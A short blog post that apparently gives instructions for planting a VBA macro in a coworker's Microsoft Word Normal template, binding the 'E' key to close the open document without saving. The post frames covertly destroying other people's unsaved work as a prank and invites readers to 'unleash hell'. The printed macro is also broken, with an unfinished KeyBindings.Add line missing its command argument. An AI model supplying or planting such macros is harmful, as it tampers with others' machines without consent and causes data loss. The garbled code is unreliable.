Microsoft Word Prank

What is the most common letter in the English language? E right? Well, what would you do if every time you typed “E” in Microsoft Word, it closed your word document and didn’t save any of your work. Well you might throw your computer out the window and kill who ever did it to you. This computer prank will drive your office friends crazy. So hell lets do it right?

Step 1: Open up Micro Soft Word

Step2: Press alt F11, this will open up a vba editor for word.

Step3: In project window on the left there should be a title “Normal” this is your default template. Select the default document underneath it.

Step4: Copy and past this code into the document
Sub AddKeyBinding()
CustomizationContext = NormalTemplate
KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyE), KeyCategory:=wdKeyCategoryCommand, _
End Sub
Sub TestKeybinding()
Dim x As Document
Set x = ActiveDocument
x.Close (False)
End Sub

Step5: Close word

Step6: Enjoy

If you did this correctly the next time they load word this code will be loaded. What it will do is every time the key “E” is pressed, it will close the document and NOT SAVE. You can change the key to anything you like and below I have listed some different key options. Have fun and unleash hell.

Key Options

To change the key from E to something else replace this piece of the code in bold

.KeyBindings.Add KeyCode:=BuildKeyCode(wdKeyE)

If you want to use a different letter it is: wdKeyYOURLETTER

If you want to use a key other than a letter or a number, it usualy is the keys name.
Example: wdKeyBackspace

Try out different options, its a lot of fun.

Leave a Reply

Your email address will not be published. Required fields are marked *